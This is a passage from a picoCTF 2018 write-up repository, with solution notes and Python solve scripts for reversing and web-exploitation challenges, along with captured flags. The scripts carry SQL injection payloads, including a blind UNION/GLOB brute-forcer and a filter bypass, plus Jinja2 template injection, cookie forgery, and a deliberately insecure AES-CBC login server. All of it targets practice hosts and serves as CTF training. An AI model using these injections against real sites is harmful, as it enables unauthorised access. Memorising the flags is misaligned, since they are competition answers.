flag += chr(ord(xorData[i]) ^ ord(initialMsg[i])) print flag ``` And we get the flag! Just to confirm, we can pass the flag into the binary ``` $ ./main You have now entered the Duck Web, and you're in for a honkin' good time. Can you figure out my trick? picoCTF{qu4ckm3_5f8d9c17} You are winner! That's all folks. ``` And there we go. This took me 1 whole day to solve. I hate reversing. ### Flag `picoCTF{qu4ckm3_5f8d9c17}` ================================================ FILE: Reversing/quackme/solution/solve.py ================================================ #!/usr/bin/python initialMsg = "You have now entered the Duck Web, and you're in for a honkin' good time." xorData = '2906164f2b35301e511b5b144b085d2b50145d00191759525d'.decode('hex') flag = '' for i in range(len(xorData)): flag += chr(ord(xorData[i]) ^ ord(initialMsg[i])) print flag ================================================ FILE: Reversing/quackme up/README.md ================================================ # quackme up Points: 350 ## Category Reversing ## Question >The duck puns continue. Can you crack, I mean quack this [program](files/main) as well? You can find the program in /problems/quackme-up_4_5cc9019c8499d6d124cd8e8109a0f95b on the shell server. ### Hint No Hints. ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Reversing/special-pw/README.md ================================================ # special-pw Points: 600 ## Category Reversing ## Question >Can you figure out the right argument to this program to login? We couldn't manage to get a copy of the binary but we did manage to [dump](files/special_pw.S) some machine code and memory from the running process. ### Hint >Hmmm maybe if we do the reverse of each operation we can get the password? ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Reversing/special-pw/files/special_pw.S ================================================ .intel_syntax noprefix .bits 32 .global main ; int main(int argc, char **argv) main: push ebp mov ebp,esp sub esp,0x10 mov DWORD PTR [ebp-0xc],0x0 mov eax,DWORD PTR [ebp+0xc] mov eax,DWORD PTR [eax+0x4] mov DWORD PTR [ebp-0x4],eax jmp part_b part_a: add DWORD PTR [ebp-0xc],0x1 add DWORD PTR [ebp-0x4],0x1 part_b: mov eax,DWORD PTR [ebp-0x4] movzx eax,BYTE PTR [eax] test al,al jne part_a mov DWORD PTR [ebp-0x8],0x0 jmp part_d part_c: mov eax,DWORD PTR [ebp+0xc] add eax,0x4 mov edx,DWORD PTR [eax] mov eax,DWORD PTR [ebp-0x8] add eax,edx mov DWORD PTR [ebp-0x4],eax mov eax,DWORD PTR [ebp-0x4] movzx eax,BYTE PTR [eax] xor eax,0x9d mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov BYTE PTR [eax],dl mov eax,DWORD PTR [ebp-0x4] movzx eax,WORD PTR [eax] ror ax,0x5 mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov WORD PTR [eax],dx mov eax,DWORD PTR [ebp-0x4] mov eax,DWORD PTR [eax] rol eax,0xb mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov DWORD PTR [eax],edx add DWORD PTR [ebp-0x8],0x1 part_d: mov eax,DWORD PTR [ebp-0xc] sub eax,0x3 cmp eax,DWORD PTR [ebp-0x8] jg part_c mov eax,DWORD PTR [ebp+0xc] mov eax,DWORD PTR [eax+0x4] mov DWORD PTR [ebp-0x4],eax mov DWORD PTR [ebp-0x10],0x14890ba jmp part_f part_e: mov eax,DWORD PTR [ebp-0x4] movzx edx,BYTE PTR [eax] mov eax,DWORD PTR [ebp-0x10] movzx eax,BYTE PTR [eax] cmp dl,al je part_k mov eax,0x0 jmp part_h part_k: add DWORD PTR [ebp-0x4],0x1 add DWORD PTR [ebp-0x10],0x1 part_f: mov eax,DWORD PTR [ebp-0x10] movzx eax,BYTE PTR [eax] test al,al jne part_e mov eax,DWORD PTR [ebp+0xc] add eax,0x4 mov eax,DWORD PTR [eax] mov edx,DWORD PTR [ebp-0x10] mov ecx,0x14890ba sub edx,ecx add eax,edx movzx eax,BYTE PTR [eax] test al,al je part_g mov eax,0x0 ; LOGIN_FAILED jmp part_h part_g: mov eax,0x1 ; LOGIN_SUCCESS part_h: leave ret 014890BA: 7b 18 a6 36 da 3b 2b a6 fe cb 82 ae 96 ff 9f 46 |{..6.;+........F| 014890CA: 8f 36 a7 af fe 93 8e 3f 46 a7 ff 82 cf ce b3 97 |.6.....?F.......| 014890DA: 17 1a a7 36 ef 2b 8a ed 00 |...6.+...| ================================================ FILE: Web Exploitation/A Simple Question/README.md ================================================ # A Simple Question Points: 650 ## Category Web Exploitation ## Question >There is a website running at http://2018shell1.picoctf.com:2644 ([link](http://2018shell1.picoctf.com:2644/)). Try to see if you can answer its question. ### Hint No Hints. ## Solution Looking at the source code, we can see that this web application is vulnerable to SQL injections. ```php include "config.php"; ini_set('error_reporting', E_ALL); ini_set('display_errors', 'On'); $answer = $_POST["answer"]; $debug = $_POST["debug"]; $query = "SELECT * FROM answers WHERE answer='$answer'"; echo "
";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "
"; ``` However, it doesn't appear to print anything out, but just tells you either you're wrong, you're close, or you get the flag ```php $con = new SQLite3($database_file); $result = $con->query($query); $row = $result->fetchArray(); if($answer == $CANARY) { echo "

Perfect!

"; echo "

Your flag is: $FLAG

"; } elseif ($row) { echo "

You are so close.

"; } else { echo "

Wrong.

"; } ``` Alright, let's create a small injection to slowly brute-force the answer. `' UNION SELECT * FROM answers WHERE answer GLOB '*'; --` We use _GLOB_ instead of _LIKE_ because it's case-sensitive. Also we use _*_ or _%_ because _GLOB_ uses Unix wildcards. We run the script and get the flag. ```python final = '' while True: for i in range(0x20, 0x7f): if i != 42 and i != 63: # Removes Unix wildcards '*' and '?' params = { 'answer': "' UNION SELECT * FROM answers WHERE answer GLOB '{}{}*'; --".format(final, chr(i)) } r = requests.post('http://2018shell1.picoctf.com:2644/answer2.php', data=params) res = r.text print res ``` Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{qu3stions_ar3_h4rd_28fc1206}` ================================================ FILE: Web Exploitation/A Simple Question/solution/solve.py ================================================ #!/usr/bin/python import requests import re def brute(): final = '' while True: for i in range(0x20, 0x7f): if i != 42 and i != 63: # Removes Unix wildcards '*' and '?' params = { 'answer': "' UNION SELECT * FROM answers WHERE answer GLOB '{}{}*'; --".format(final, chr(i)) } r = requests.post('http://2018shell1.picoctf.com:2644/answer2.php', data=params) res = r.text print res if 'You are so close.' in res: final += chr(i) print final break elif i == 0x7e: return final # 41AndSixSixths ans = brute() flag = requests.post('http://2018shell1.picoctf.com:2644/answer2.php', data={'answer': ans}).text print 'Flag: ' + re.findall(r'(picoCTF\{.+\})', flag)[0] ================================================ FILE: Web Exploitation/A Simple Question/solution/source/answer2.phps ================================================ "; echo "SQL query: ", htmlspecialchars($query), "\n"; echo ""; ?> query($query); $row = $result->fetchArray(); if($answer == $CANARY) { echo "

Perfect!

"; echo "

Your flag is: $FLAG

"; } elseif ($row) { echo "

You are so close.

"; } else { echo "

Wrong.

"; } ?> ================================================ FILE: Web Exploitation/A Simple Question/solution/source/index.html ================================================ Question

A Simple Question

What is the answer?
================================================ FILE: Web Exploitation/Artisinal Handcrafted HTTP 3/README.md ================================================ # Artisinal Handcrafted HTTP 3 Points: 300 ## Category Web Exploitation ## Question >We found a hidden flag server hiding behind a proxy, but the proxy has some... _interesting_ ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via `nc 2018shell1.picoctf.com 42496`, and use the proxy to send HTTP requests to `flag.local`. We've also recovered a username and a password for you to use on the login page: `realbusinessuser`/`potoooooooo`. ### Hint >_Be the browser._ When you navigate to a page, how does your browser send HTTP requests? How does this change when you submit a form? ## Solution Doing an initial GET request for _/_, we can see a link to _/login_ ```html GET / HTTP/1.1 Host: flag.local HTTP/1.1 200 OK x-powered-by: Express content-type: text/html; charset=utf-8 content-length: 321 etag: W/"141-LuTf9ny9p1l454tuA3Un+gDFLWo" date: Sun, 30 Sep 2018 14:26:00 GMT connection: close

Real Business Internal Flag Server

Login

You need to log in before you can see today's flag.

``` When we do another GET request for _/login_, we can see the paramters of required. We can use the username and password provided in the question. ```html GET /login HTTP/1.1 Host: flag.local HTTP/1.1 200 OK x-powered-by: Express content-type: text/html; charset=utf-8 content-length: 498 etag: W/"1f2-UE5AGAqbLVQn1qrfKFRIqanxl9I" date: Sun, 30 Sep 2018 14:35:39 GMT connection: close

Real Business Internal Flag Server

Login

Log In

``` When we send a POST request to _/login_ with the username and password, a cookie is set. ```html POST /login HTTP/1.1 Host: flag.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: keep-alive Upgrade-Insecure-Requests: 1 user=realbusinessuser&pass=potoooooooo HTTP/1.1 302 Found x-powered-by: Express set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/ location: / vary: Accept content-type: text/html; charset=utf-8 content-length: 46 date: Sun, 30 Sep 2018 14:37:38 GMT connection: keep-alive

Found. Redirecting to /

``` All we have to do now is input in the cookie for _/_ and get the flag. ```html GET / HTTP/1.1 Host: flag.local Cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; HTTP/1.1 200 OK x-powered-by: Express content-type: text/html; charset=utf-8 content-length: 438 etag: W/"1b6-eYJ8DUTdkgByyfWFi6OJJSjopFg" date: Sun, 30 Sep 2018 14:38:54 GMT connection: close

Real Business Internal Flag Server

Real Business Employee
Logout

Hello Real Business Employee! Today's flag is: picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_2e14}.

``` Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_2e14}` ================================================ FILE: Web Exploitation/Artisinal Handcrafted HTTP 3/solution/solve.py ================================================ #!/usr/bin/python from pwn import * import time import re s = remote('2018shell1.picoctf.com', 42496) time.sleep(1) print s.recv(), captcha = raw_input('') s.sendline(captcha) time.sleep(1) fail = s.recv().strip() if 'succeeded' in fail: print req = '''GET / HTTP/1.1 Host: flag.local Cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; ''' print req s.sendline(req) time.sleep(1) source = s.recv() print re.findall(r'(picoCTF\{.+\})', source)[0] else: log.info('Wrong validation!') s.close() ================================================ FILE: Web Exploitation/Buttons/README.md ================================================ # Buttons Points: 250 ## Category Web Exploitation ## Question >There is a website running at http://2018shell1.picoctf.com:21579 ([link](http://2018shell1.picoctf.com:21579/)). Try to see if you can push their buttons. ### Hint >What's different about the two buttons? ## Solution Follow the buttons and get Rick Roll'd! In _boo.html_, looking at the source, we can see that _button2.php_ is expecting a POST request. As such, all we have to do is send a POST request and get the flag. Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{button_button_whose_got_the_button_ed306c10}` ================================================ FILE: Web Exploitation/Buttons/solution/solve.py ================================================ #!/usr/bin/python import requests import re r = requests.post('http://2018shell1.picoctf.com:21579/button2.php') source = r.text print re.findall(r'(picoCTF\{.+\})', source)[0] ================================================ FILE: Web Exploitation/Buttons/solution/source/boo.html ================================================ Buttons!

Button2: ACCESS DENIED

FORM DISABLED. THIS INCIDENT HAS BEEN LOGGED AND REPORTED TO /dev/null
================================================ FILE: Web Exploitation/Buttons/solution/source/button1.php ================================================ Buttons!
You did it! Try the next button: Button2
================================================ FILE: Web Exploitation/Buttons/solution/source/index.html ================================================ Buttons!

BUTTON1

================================================ FILE: Web Exploitation/Client Side is Still Bad/README.md ================================================ # Client Side is Still Bad Points: 150 ## Category Web Exploitation ## Question >I forgot my password again, but this time there doesn't seem to be a reset, can you help me? ([link](http://2018shell1.picoctf.com:55790/)) ### Hint >Client Side really is a bad way to do it. ## Solution Inspect element and piece the flag together ```js function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(split * 7, split * 8) == '}') { if (checkpass.substring(split * 6, split * 7) == 'd366') { if (checkpass.substring(split * 5, split * 6) == 'd_3b') { if (checkpass.substring(split * 4, split * 5) == 's_ba') { if (checkpass.substring(split * 3, split * 4) == 'nt_i') { if (checkpass.substring(split * 2, split * 3) == 'clie') { if (checkpass.substring(split, split * 2) == 'CTF{') { if (checkpass.substring(0, split) == 'pico') { alert("You got the flag!") } } } } } } } } else { alert("Incorrect password"); } } ``` ### Flag `picoCTF{client_is_bad_3bd366}` ================================================ FILE: Web Exploitation/Client Side is Still Bad/solution/source/index.html ================================================ Super Secure Log In

Welcome to the Secure Login Server.

Please enter your credentials to proceed


================================================ FILE: Web Exploitation/Flaskcards/README.md ================================================ # Flaskcards Points: 350 ## Category Web Exploitation ## Question >We found this fishy [website](http://2018shell1.picoctf.com:23547/) for flashcards that we think may be sending secrets. Could you take a look? ### Hint >Are there any common vulnerabilities with the backend of the website? > >Is there anywhere that filtering doesn't get applied? > >The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user ## Solution Judging by the name of the challenge, we can assume that the web application was written using the _Flask_ framework. We can assume that it is running the _Jinja2_ template engine. Upon registering and signing in, we get multiple options. Some which includes Creating and Listing cards. We can do a sample injection by doing _{{1+1}}_. Both the _Question_ and the _Answer_ fields are vulnerable, so it doesn't matter where it's placed in. We see that when we list the cards, it shows _2_ and not _{{1+1}}_. This means there's an injection. Since there's no source code anywhere to be found, we can just look around, printing out important information used by flask. By submitting _{{config.items()}}_, we get a bunch of information about the server, as well as the _'SECRET_KEY'_, which contains the flag. ```python dict_items([('DEBUG', False), ('PREFERRED_URL_SCHEME', 'http'), ('SQLALCHEMY_POOL_TIMEOUT', None), ('JSON_AS_ASCII', True), ('PROPAGATE_EXCEPTIONS', None), ('ENV', 'production'), ('SQLALCHEMY_POOL_RECYCLE', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('JSON_SORT_KEYS', True), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('SERVER_NAME', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('MAX_COOKIE_SIZE', 4093), ('USE_X_SENDFILE', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('BOOTSTRAP_LOCAL_SUBDOMAIN', None), ('APPLICATION_ROOT', '/'), ('BOOTSTRAP_USE_MINIFIED', True), ('MAX_CONTENT_LENGTH', None), ('BOOTSTRAP_QUERYSTRING_REVVING', True), ('TRAP_HTTP_EXCEPTIONS', False), ('SESSION_COOKIE_PATH', None), ('TESTING', False), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SQLALCHEMY_POOL_SIZE', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_SECURE', False), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('TEMPLATES_AUTO_RELOAD', None), ('SESSION_COOKIE_SAMESITE', None), ('JSONIFY_MIMETYPE', 'application/json'), ('SQLALCHEMY_RECORD_QUERIES', None), ('SESSION_COOKIE_DOMAIN', False), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_DATABASE_URI', 'sqlite://'), ('SQLALCHEMY_ECHO', False), ('BOOTSTRAP_SERVE_LOCAL', False), ('BOOTSTRAP_CDN_FORCE_SSL', False), ('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_584f8327}'), ('SESSION_REFRESH_EACH_REQUEST', True), ('SQLALCHEMY_MAX_OVERFLOW', None)]) ``` I still have no idea what the admin page does. ### Flag `picoCTF{secret_keys_to_the_kingdom_584f8327}` ================================================ FILE: Web Exploitation/Flaskcards Skeleton Key/README.md ================================================ # Flaskcards Skeleton Key Points: 600 ## Category Web Exploitation ## Question >Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2. Now, can you find a way to log in as admin? http://2018shell1.picoctf.com:48263 ([link](http://2018shell1.picoctf.com:48263/)). ### Hint >What can you do with a flask Secret_Key? > >The database still reverts every 2 hours ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Web Exploitation/Help Me Reset 2/README.md ================================================ # Help Me Reset 2 Points: 600 ## Category Web Exploitation ## Question >There is a website running at http://2018shell1.picoctf.com:19054 (link). We need to get into any user for a flag! ### Hint >Try looking past the typical vulnerabilities. Think about possible programming mistakes. ## Solution going to the site, upon inspection, we notice a comment stating ``` ``` assuming that the user has an account, we can then attempt to rest the password. we will be asked a few questions, to find the answer, i just did a simple google search for the popular answers ``` What is your favourite car make What is your favourite food? What is your favourite color? white What is your favourite superhero? thor ``` using that, we can gain access and change the password and proceed to login ### Flag `picoCTF{i_thought_i_could_remember_those_cb4afc2a}` ================================================ FILE: Web Exploitation/Inspect Me/README.md ================================================ # Inspect Me Points: 125 ## Category Web Exploitation ## Question >Inpect this code! http://2018shell1.picoctf.com:53213 ([link](http://2018shell1.picoctf.com:53213/)) ### Hint >How do you inspect a website's code on a browser? > >Check all the website code. ## Solution Do `wget -r http://2018shell1.picoctf.com:53213` to pull the html, css and js sources. Go into each individual source and locate the 3 pieces of the flag. ### Flag `picoCTF{ur_4_real_1nspect0r_g4dget_402b0bd3}` ================================================ FILE: Web Exploitation/Inspect Me/solution/source/index.html ================================================ My First Website :)

My First Website

Intro

This is my first website!

About

These are the web skills I've been practicing:
HTML
CSS
JS (JavaScript)

================================================ FILE: Web Exploitation/Inspect Me/solution/source/mycss.css ================================================ div.container { width: 100%; } header { background-color: #c9d8ef; padding: 1em; color: white; clear: left; text-align: center; } body { font-family: Roboto; } h1 { color: #222; } p { font-family: "Open Sans"; } .tablink { background-color: #555; color: white; float: left; border: none; outline: none; cursor: pointer; padding: 14px 16px; font-size: 17px; width: 50%; } .tablink:hover { background-color: #777; } .tabcontent { color: #111; display: none; padding: 50px; text-align: center; } #tabintro { background-color: #ccc; } #tababout { background-color: #ccc; } /* I learned CSS! Here's part 2/3 of the flag: ct0r_g4dget_402b0bd3} */ ================================================ FILE: Web Exploitation/Inspect Me/solution/source/myjs.js ================================================ function openTab(tabName,elmnt,color) { var i, tabcontent, tablinks; tabcontent = document.getElementsByClassName("tabcontent"); for (i = 0; i < tabcontent.length; i++) { tabcontent[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablink"); for (i = 0; i < tablinks.length; i++) { tablinks[i].style.backgroundColor = ""; } document.getElementById(tabName).style.display = "block"; if(elmnt.style != null) { elmnt.style.backgroundColor = color; } } window.onload = function() { openTab('tabintro', this, '#222'); } /* I learned JavaScript! Here's part 3/3 of the flag: */ ================================================ FILE: Web Exploitation/Irish Name Repo/README.md ================================================ # Irish Name Repo Points: 200 ## Category Web Exploitation ## Question >There is a website running at http://2018shell1.picoctf.com:59464 ([link](http://2018shell1.picoctf.com:59464/)) . Do you think you can log us in? Try to see if you can login! ### Hint >There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database? ## Solution looking at the support section of the site, it can be seen that the site uses SQL to store data,this could mean that it is vulnerable to SQL injections ``` Cannot add name Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep getting something called a SQL Error That's because Conan O'Brien is American. Admin ``` going to the login section of the site, it is seen that it accepts a username and password ``` Log In Username: Password: ``` Using the username `' OR '1'='1' --`, we get the flag. ``` Logged in! Your flag is: picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b} ``` Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}` ================================================ FILE: Web Exploitation/Irish Name Repo/solution/solve.py ================================================ #!/usr/bin/python import requests import re params = {'username': "' OR '1'='1' --", 'password': '', 'debug': 0} r = requests.post('http://2018shell1.picoctf.com:59464/login.php', data=params) source = r.text print re.findall(r'(picoCTF\{.+\})', source)[0] ================================================ FILE: Web Exploitation/Irish Name Repo/solution/source/index.html ================================================ W3.CSS Template
List 'o the Irish!
Image not available

Aidan Gillen

I was on Game of Thrones!

Image not available

Aiden Higgens

"All fiction happened"

Image not available

Alison Doody

hehe...Doody.

Image not available

Dylan Moran

"You can sort your life out anytime; the pub closes in five hours."

Image not available

Tommy Tiernan

Editor's note: could not find quote without profanity.

Image not available

Brendan Gleeson

Guess which Harry Potter character I was!

« 1 2 3 4 »
================================================ FILE: Web Exploitation/Irish Name Repo/solution/source/login.html ================================================ Login

Log In

================================================ FILE: Web Exploitation/Irish Name Repo/solution/source/support.html ================================================ Support

Support

Cannot add name

Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep getting something called a SQL Error
That's because Conan O'Brien is American.
Admin

Why is this site so trash?

Can you help me find my parents. I think they were Irish.
Anna
no
Admin

Why is this site so trash?

Yo. Why this site look so bad? LOL
JimmyMcTrollface
I AM JUST ONE MAN!!!!
Admin
================================================ FILE: Web Exploitation/LambDash 3/README.md ================================================ # LambDash 3 Points: 800 ## Category Web Exploitation ## Question >C? Who uses that anymore. If we really want to be secure, we should all start learning lambda calculus. http://2018shell1.picoctf.com:52603 ([link](http://2018shell1.picoctf.com:52603/)) ### Hint >This compiler is 99.9% bug free! I'm sure the other 0.1% won't amount to anything... ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Web Exploitation/Logon/README.md ================================================ # Logon Points: 150 ## Category Web Exploitation ## Question >I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the flag. ([link](http://2018shell1.picoctf.com:37861/)) ### Hint >Hmm it doesn't seem to check anyone's password, except for admins? > >How does check the admin's password? ## Solution Using any password and username, you will be able to login, however, upon logon,you will be greeted by: ``` Success: You logged in! Not sure you'll be able to see the flag though. No flag for you ``` Upon inspection of cookies, it can be seen that there exists a cookie names admin with theh value false ``` admins False 2018shell1.picoctf.com / 1969-12-31T23:59:59.000Z 10 password password 2018shell1.picoctf.com / 1969-12-31T23:59:59.000Z 20 username username 2018shell1.picoctf.com / 1969-12-31T23:59:59.000Z 20 ``` Changing the value of admin to True will result in the printing of the flag. Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{l0g1ns_ar3nt_r34l_a280e12c}` ================================================ FILE: Web Exploitation/Logon/solution/solve.py ================================================ #!/usr/bin/python import requests import re params = {'user': 'A', 'password': 'A', 'submit': 'Sign In'} jar = {'admin': 'True', 'password': '', 'username': ''} r = requests.get('http://2018shell1.picoctf.com:37861/flag', data=params, cookies=jar) source = r.text print re.findall(r'(picoCTF\{.+\})', source)[0] ================================================ FILE: Web Exploitation/Logon/solution/source/index.html ================================================ My New Website

My New Website

© PicoCTF 2018

================================================ FILE: Web Exploitation/Logon/solution/source/logout ================================================ My New Website

My New Website

© PicoCTF 2018

================================================ FILE: Web Exploitation/Mr. Robots/README.md ================================================ # Mr. Robots Points: 200 ## Category Web Exploitation ## Question >Do you see the same things I see? The glimpses of the flag hidden away? ([link](http://2018shell1.picoctf.com:10157/)) ### Hint >What part of the website could tell you where the creator doesn't want you to look? ## Solution going to the site, we will be able to see #### index.html ``` Mr. Robots HELLO FRIEND ``` given the hints above, we visit /robots.txt to see if there any sites that the creator does not want us to know about #### robots.txt ``` User-agent: * Disallow: /143ce.html ``` now we go to 143ce.html #### 143ce.html ``` Mr. Robots So much depends upon a red flag picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce} ``` Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}` ================================================ FILE: Web Exploitation/Mr. Robots/solution/solve.py ================================================ #!/usr/bin/python import requests import re r = requests.get('http://2018shell1.picoctf.com:10157/robots.txt') source = r.text page = re.findall(r'Disallow: /(.+)', source)[0] print 'Found: ' + page r = requests.get('http://2018shell1.picoctf.com:10157/{}'.format(page)) source = r.text print re.findall(r'(picoCTF\{.+\})', source)[0] ================================================ FILE: Web Exploitation/Mr. Robots/solution/source/index.html ================================================ Mr. Robots

Mr. Robots

HELLO FRIEND

================================================ FILE: Web Exploitation/Mr. Robots/solution/source/robots.txt ================================================ User-agent: * Disallow: /143ce.html ================================================ FILE: Web Exploitation/Mr. Robots/solution/source/style.css ================================================ body { background-color: #1e2d3a; } div.container { width: 100%; height: 100%; postition: relative; } header { background-color: #1e2d3a; padding: 1em; color: #d62a08; clear: left; text-align: center; font-family: Monoton; height: 80%; } footer { position: absolute; //padding: 1em; color: white; background-color: #192733; clear: left; text-align: center; bottom: 0; width: 99%; height: 20px; } div.content { background-color: #223342; padding: 1em; color: white; clear: left; text-align: center; font-family: Roboto; //height: 550px; height: 60%; } flag { color: red; } ================================================ FILE: Web Exploitation/No Login/README.md ================================================ # No Login Points: 200 ## Category Web Exploitation ## Question >Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell1.picoctf.com:33889 ([link](http://2018shell1.picoctf.com:33889/)) ### Hint >What is it actually looking for in the cookie? ## Solution Set the cookie name _admin_ and value _true_. Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{n0l0g0n_n0_pr0bl3m_26b0181a}` ================================================ FILE: Web Exploitation/No Login/solution/solve.py ================================================ #!/usr/bin/python import requests import re jar = {'admin': 'True'} r = requests.get('http://2018shell1.picoctf.com:33889/flag', cookies=jar) source = r.text print re.findall(r'(picoCTF\{.+\})', source)[0] ================================================ FILE: Web Exploitation/No Login/solution/source/flag ================================================ My New Website

My New Website

© PicoCTF 2018

================================================ FILE: Web Exploitation/No Login/solution/source/index.html ================================================ My New Website

My New Website

© PicoCTF 2018

================================================ FILE: Web Exploitation/No Login/solution/source/unimplemented ================================================ My New Website

My New Website

© PicoCTF 2018

================================================ FILE: Web Exploitation/Secret Agent/README.md ================================================ # Secret Agent Points: 200 ## Category Web Exploitation ## Question >Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell1.picoctf.com:53383 ([link](http://2018shell1.picoctf.com:53383/)) ### Hint >How can your browser pretend to be something else? ## Solution Set the user agent to one that Google uses. For example: _Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)_ Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{s3cr3t_ag3nt_m4n_134ecd62}` ================================================ FILE: Web Exploitation/Secret Agent/solution/solve.py ================================================ #!/usr/bin/python import requests import re headers = { 'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' } r = requests.get('http://2018shell1.picoctf.com:53383/flag', headers=headers) source = r.text print re.findall(r'(picoCTF\{.+\})', source)[0] ================================================ FILE: Web Exploitation/Secret Agent/solution/source/flag ================================================ My New Website

My New Website

© PicoCTF 2018

================================================ FILE: Web Exploitation/Secret Agent/solution/source/index.html ================================================ My New Website

My New Website

© PicoCTF 2018

================================================ FILE: Web Exploitation/Secret Agent/solution/source/unimplemented ================================================ My New Website

My New Website

© PicoCTF 2018

================================================ FILE: Web Exploitation/Secure Logon/README.md ================================================ # Secure Logon Points: 500 ## Category Web Exploitation ## Question >Uh oh, the login page is more secure... I think. http://2018shell1.picoctf.com:12004 ([link](http://2018shell1.picoctf.com:12004/)). [Source](files/server_noflag.py). ### Hint >There are versions of AES that really aren't secure. ## Solution Unsolved ### Flag `flag` ================================================ FILE: Web Exploitation/Secure Logon/files/server_noflag.py ================================================ from flask import Flask, render_template, request, url_for, redirect, make_response, flash import json from hashlib import md5 from base64 import b64decode from base64 import b64encode from Crypto import Random from Crypto.Cipher import AES app = Flask(__name__) app.secret_key = 'seed removed' flag_value = 'flag removed' BLOCK_SIZE = 16 # Bytes pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \ chr(BLOCK_SIZE - len(s) % BLOCK_SIZE) unpad = lambda s: s[:-ord(s[len(s) - 1:])] @app.route("/") def main(): return render_template('index.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.form['user'] == 'admin': message = "I'm sorry the admin password is super secure. You're not getting in that way." category = 'danger' flash(message, category) return render_template('index.html') resp = make_response(redirect("/flag")) cookie = {} cookie['password'] = request.form['password'] cookie['username'] = request.form['user'] cookie['admin'] = 0 print(cookie) cookie_data = json.dumps(cookie, sort_keys=True) encrypted = AESCipher(app.secret_key).encrypt(cookie_data) print(encrypted) resp.set_cookie('cookie', encrypted) return resp @app.route('/logout') def logout(): resp = make_response(redirect("/")) resp.set_cookie('cookie', '', expires=0) return resp @app.route('/flag', methods=['GET']) def flag(): try: encrypted = request.cookies['cookie'] except KeyError: flash("Error: Please log-in again.") return redirect(url_for('main')) data = AESCipher(app.secret_key).decrypt(encrypted) data = json.loads(data) try: check = data['admin'] except KeyError: check = 0 if check == 1: return render_template('flag.html', value=flag_value) flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success") return render_template('not-flag.html', cookie=data) class AESCipher: """ Usage: c = AESCipher('password').encrypt('message') m = AESCipher('password').decrypt(c) Tested under Python 3 and PyCrypto 2.6.1. """ def __init__(self, key): self.key = md5(key.encode('utf8')).hexdigest() def encrypt(self, raw): raw = pad(raw) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(raw)) def decrypt(self, enc): enc = b64decode(enc) iv = enc[:16] cipher = AES.new(self.key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(enc[16:])).decode('utf8') if __name__ == "__main__": app.run() ================================================ FILE: Web Exploitation/The Vault/README.md ================================================ # The Vault Points: 250 ## Category Web Exploitation ## Question >There is a website running at http://2018shell1.picoctf.com:56537 ([link](http://2018shell1.picoctf.com:56537/)). Try to see if you can login! ### Hint No Hints. ## Solution An SQLi challenge where the php code running the query filters out the term _OR_. Using _LIKE_, we can circumvent the filter. Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{w3lc0m3_t0_th3_vau1t_c09f30a0}` ================================================ FILE: Web Exploitation/The Vault/solution/solve.py ================================================ #!/usr/bin/python import requests import re params = { 'username': "' LIKE '%'; --", 'password' : '', 'debug': '0' } r 